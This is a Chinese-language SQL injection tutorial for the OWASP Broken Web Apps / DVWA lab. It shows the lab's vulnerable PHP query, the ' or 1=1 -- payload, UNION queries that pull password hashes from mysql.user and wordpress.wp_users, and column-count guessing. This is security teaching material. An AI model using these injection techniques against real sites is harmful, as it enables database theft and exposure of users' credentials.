当前位置：首页 > news >正文

4.sql注入攻击（OWASP实战训练）

news 2025/7/5 14:45:23

4.sql注入攻击（OWASP实战训练）

引言
1，实验环境owasp，kali Linux。
2，sql注入危害
3，sql基础回顾
4，登录owasp
5，查询实例
（1）简单查询实例
（2）条件查询实例
（3）联合查询UNION
6，如何猜前面字段数
总结：

引言

Sql注入是注入漏洞的榜首
注入漏洞危害极大，sql注入为其中一种是我们常见的。

在owasp年度top10安全问题中，注入高居榜首，sql注入攻击是通过构建特殊的输入作为参数传入web应用程序，而这些输入大都是sql语法的一些组合，通过执行sql语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。
1，对于web应用程序而言，用户核心数据存储在数据库中，例如MySQL、sqlserver、Oracle；
2，通过sql注入攻击。可以获取、修改、删除数据库信息，并且通过提权来控制web服务器等其他操作；
3，Sql注入即攻击者通过构造特殊的sql语句，入侵目标系统，致使后台数据库泄露数据的过程
4，因为sql注入漏洞造成严重危害性，所以常年稳居owasp top10的榜首

网站后台管理员账号也在数据库中，数据库重点攻击的方面，游戏拖库，等等。我们平常在京东或者双11检索产品时，买个笔记本，选一些条件（内存，品牌），其实我们点击按钮后就是一条sql语句，只是里面加了一些条件，包括下单也是sql语句（数据库的update操作）
Sql语句不能随便改的，sql语句是写在后端的，前端源码是可以拿到的，后端不能拿到也不能改，前端的代码是可以改的，后端不能改。如前端限制只能输入30个字符，我们可以在发送请求时将其改掉。后端代码是看不到的，后端代码交给中间件处理，交给webserver由其作出响应。这边看到的只是前端的东西。
我们在搜索框中搜索东西，其实执行的sql语句写死的，可能接受的品牌厂商，已经写好厂商华为或者联想。

1，实验环境owasp，kali Linux。

2，sql注入危害

拖库导致用户数据泄露；（电话，身份证信息等）
危害web等应用的安全（如网站）
失去操作系统的控制权
用户信息被非法买卖
危害企业及国家安全

3，sql基础回顾

Sql语句必须了解，主要是select语句

（1）打开sql injection模块
（2）输入1提交

ID: 1
First name: admin
Surname: admin

（3）打开源代码查看

<?php     if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } 
} 
?>

Sql注入是希望其查一些我们希望要的东西，表象看到的是改不了，而我们sql注入就是在其看起来不能改的情况下去改。改完以后是不能将其sql语句删除的，只能在输入的地方做一些特殊构造，来实现不可告人的目的。

 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

比如想要查别的表，在这条语句怎么输也查不了，拖库也就没戏，我们想要的是将其整个数据库拿下。
在输入框中输入 ' or 1=1 -- dddddd 下方会出现

ID: ' or 1=1 -- dddddd
First name: admin
Surname: admin
ID: ' or 1=1 -- dddddd
First name: Gordon
Surname: Brown
ID: ' or 1=1 -- dddddd
First name: Hack
Surname: Me
ID: ' or 1=1 -- dddddd
First name: Pablo
Surname: Picasso
ID: ' or 1=1 -- dddddd
First name: Bob
Surname: Smith
ID: ' or 1=1 -- dddddd
First name: user
Surname: user

按照原来的套路只能查询id为1的用户，而现在查询了所有的信息，这个是对方不愿给你的，但我们一步步做到了。
Sql注入很有用也很强大，一旦你的数据库有注入点，那么所有的数据都会被抱走。
刚才的行为就是构造了一个特殊的输入。

4，登录owasp

项目环境：owasp
表1：dvwa.user
表2：wordpress.wp_users
表3：mysql.user

root@owaspbwa:~# mysql -uroot -powaspbwa

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 582
Server version: 5.1.41-3ubuntu12.6-log (Ubuntu)Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 
mysql> show databases;

+--------------------+
| Database           |
+--------------------+
| information_schema |
| .svn               |
| bricks             |
| bwapp              |
| citizens           |
| cryptomg           |
| dvwa               |
| gallery2           |
| getboo             |
| ghost              |
| gtd-php            |
| hex                |
| isp                |
| joomla             |
| mutillidae         |
| mysql              |
| nowasp             |
| orangehrm          |
| personalblog       |
| peruggia           |
| phpbb              |
| phpmyadmin         |
| proxy              |
| rentnet            |
| sqlol              |
| tikiwiki           |
| vicnum             |
| wackopicko         |
| wavsepdb           |
| webcal             |
| webgoat_coins      |
| wordpress          |
| wraithlogin        |
| yazd               |
+--------------------+
34 rows in set (0.55 sec)

mysql> select database();		//查看当前所在库

+------------+
| database() |
+------------+
| NULL       |
+------------+
1 row in set (0.00 sec)
mysql> select user();		//此函数返回当前用户
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select now();		//返回当前时间mysql> use dvwa;			进入库

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -ADatabase changed

mysql> show tables;					查看有哪些表

+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+
2 rows in set (0.00 sec)
mysql> DESCRIBE users;				大写可以补全，查看特定表结构
+------------+-------------+------+-----+---------+-------+
| Field      | Type        | Null | Key | Default | Extra |
+------------+-------------+------+-----+---------+-------+
| user_id    | int(6)      | NO   | PRI | 0       |       |
| first_name | varchar(15) | YES  |     | NULL    |       |
| last_name  | varchar(15) | YES  |     | NULL    |       |
| user       | varchar(15) | YES  |     | NULL    |       |
| password   | varchar(32) | YES  |     | NULL    |       |
| avatar     | varchar(70) | YES  |     | NULL    |       |
+------------+-------------+------+-----+---------+-------+
6 rows in set (0.00 sec)
//这个看的是表的结构，查数据依托表结构才能查，如类型数字、字符。

mysql> show create table users\G     创建表  \G排序

DDL构造房屋框架
Bml对数据操作
DCL数据库控制语言，体现在授权、撤销权限
DQL数据库查询语言

mysql> select * from users;				从users表查询内容，可以\G让其格式有序

查字段是需要知道表的结构的

mysql> select user,password as avatar from users;		avatar是别名
mysql> select user,password  avatar from users;		用逗号隔开是字段，后面空着相当于上面的别名，加个逗号就是三个字段了如下
mysql> select user,password,avatar from users;

我们的sql注入就是select语句别的是不需要的。

5，查询实例

（1）简单查询实例

当前库dvwa dvwa.users

mysql> select * from users;
mysql> select user_id,first_name,last_name from users;

其他库 mysql.user

mysql> desc mysql.user;
mysql> select * from mysql.user;
mysql> select user,password,host from mysql.user;

其他库 wordpress.user

mysql> desc wordpress.user;
mysql> select * from wordpress.user;
mysql> select user,password,host from wordpress.user;

（2）条件查询实例

mysql> select user,password,host from mysql.user where user=’root’;
mysql>select user,password,host from mysql.user where user=’root’and host = ’localhost’;
mysql> select user,password,host from mysql.user where user=’root’or host = ’localhost’;

mysql> desc dvwa.users;
mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'yangge';
mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'yangge' or 1=1;
mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'admin' and 1=2;

注意：若输入不正确在数据库中语句，可能是单引号是中文的原因

mysql> select user_id,first_name,last_name from dvwa.users where user_id=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;

（3）联合查询UNION

mysql> select user,password from mysql.user;
mysql> select user_login,user_pass from wordpress.wp_users;
mysql> select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users;mysql> select user,password,host from mysql.user union select user_login,user_pass from wordpress.wp_users;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

注意：union查询前后字段数必须相同,如下

mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;

在mysql中不加引号表示字段

Select user,password,host from mysql.user where user=password;

//此句语法没错，但是password未加引号，把他当成了字段从两张表里寻找，加上引号表示字段的值

Select user,password,host from mysql.user where a.user=b.password;

Select user,password,host from mysql.user where user=’root’;

//选择user字段的值为root的从mysql数据库的user表中

Select user,password,host from mysql.user where user_id=1;

纯数字不能作为字段，一定是个值,加引号有可能将其作为字符串对待。

Sql注入有个大前提原来的语句动不了，只能自己加戏如

mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'yangge';

这句话在数据库中是找不到的

mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'yangge' or 1=1;

这句话是可以显示内容的，只是为了构造一个为真的条件，1=1是最简单的条件
我们在上一小节中讲到的在输入框中输入 ’ or 1=1 – dddddd
从源码可知

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

上面的话变成了下面的

SELECT first_name, last_name FROM users WHERE user_id = '$id' or‘1=1’

之前是查询id号，则id就是where后的限制条件，我们将后面的条件变为真，就会将此表中的所有数据都显示出来
有些东西不能改变的就不要改变了，就改自己能改的

这是sql注入最初的样子

mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;

假如我们让其条件为真了，是表的所有内容吗？不是，前面的字段是别人写死的，表也是别人写死的，最多最多能返回这个表中这些字段的所有值。并不是我们想要的所有东西，无论怎么玩都只是这些东西。但我们想要拖库。
这段命令不能查询别的表，这个条件只能查询这一张表，所以我们要是用union再联合一个查询语句。
我们要自加sql语句前面只能在其自己限定的表中查询，而后面可以再加一张表查询
Union并不复杂只是再加一条sql语句

mysql> select user,password,host from mysql.user union select user_login,user_pass from wordpress.wp_users;
ERROR

注意：union查询前后字段数必须相同,如下

mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;

但是会出错，前面的字段数我们并不知道，也不能改，所以要试错，再加一个字段（数字即可，数字是可以充当字段的）
1，第一并不知道前面字段数
2，后面字段是什么也不知道
3，如果知道前面有5个字段的话，怎么去给后面字段补上5个，如何补齐字段，用数字凑

我们有个大神information_schema数据库字典
为什么sql注入学不会，需要一步一步来，我们要达到看懂的地步。

还有问题要声明一下，

mysql> select user,password,host from mysql.user union select user_login,user_pass,1 from wordpress.wp_users limit 5;

+------------------+-------------------------------------------+---------------+
| user             | password                                  | host          |
+------------------+-------------------------------------------+---------------+
| root             | *73316569DAC7839C2A784FF263F5C0ABBC7086E2 | localhost     |
| root             | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F | brokenwebapps |
| root             | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F | 127.0.0.1     |
| debian-sys-maint | *75F15FF5C9F06A7221FEB017724554294E40A327 | localhost     |
| phpmyadmin       | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F | localhost     |
+------------------+-------------------------------------------+---------------+
5 rows in set (0.00 sec)

上面这条语句只是查看前5行的数据，有时数据太多可能成百上千行，我们要限制行数,还有显示的内容是以前面3个字段为主的，而我们想要的是后面字段的内容，可以将前面的内容否定掉如下

mysql> select user,password,host from mysql.user where 1=2 union select user_login,user_pass,1 from wordpress.wp_users limit 5;

+-------+----------------------------------+------+
| user  | password                         | host |
+-------+----------------------------------+------+
| admin | 21232f297a57a5a743894a0e4a801fc3 | 1    |
| user  | ee11cbb19052e40b07aac0ca060c23ee | 1    |
+-------+----------------------------------+------+
2 rows in set (0.00 sec)

前面的只是我们借着来查询后面的数据，不要在意字段名，而要关注内容值。

6，如何猜前面字段数

思考：前面的查询已经写死了，如何使下面的语句成功？

mysql> select * from dvwa.users;
> union
> mysql> select user_login,user_pass from wordpress.wp_user;

方法：猜字段数

mysql> select * from dvwa.users union select 1;
mysql> select * from dvwa.users union select 1,2;
mysql> select * from dvwa.users union select 1,2,3;
mysql> select * from dvwa.users union select 1,2,3,4;
mysql> select * from dvwa.users union select 1,2,3,4,5;
mysql> select * from dvwa.users union select 1,2,3,4,5,6;

mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_user;

如果对前面的不关注，就加上1=2不成立的条件，只显示后面的表。

总结：

1，使用或，布尔方式，另其1=1，只能查它限制的表，想到别的地方去做不到
2，使用union，自己再加一条select语句可以查别的，但也会受到权限的限制，人家开发人员已经定义好了，让哪个用户去连接哪个库。如果此用户只对某个库有权限，可以查这个库所有数据，若对所有库都有权限，都能查询。查询时，一般情况下，对当前查询的库有所有权限。

不要想着拿到一个账号可以拿到其他所有的库，一个mysql数据库可能有很多业务库但能不能都拿到不好说。

可能有的人觉得sql注入太麻烦，有手工注入，也有自动注入（程序帮自己尝试）

4.sql注入攻击（OWASP实战训练）

引言

1，实验环境owasp，kali Linux。

2，sql注入危害

3，sql基础回顾

4，登录owasp

5，查询实例

（1）简单查询实例

（2）条件查询实例

（3）联合查询UNION

6，如何猜前面字段数

总结：

相关文章：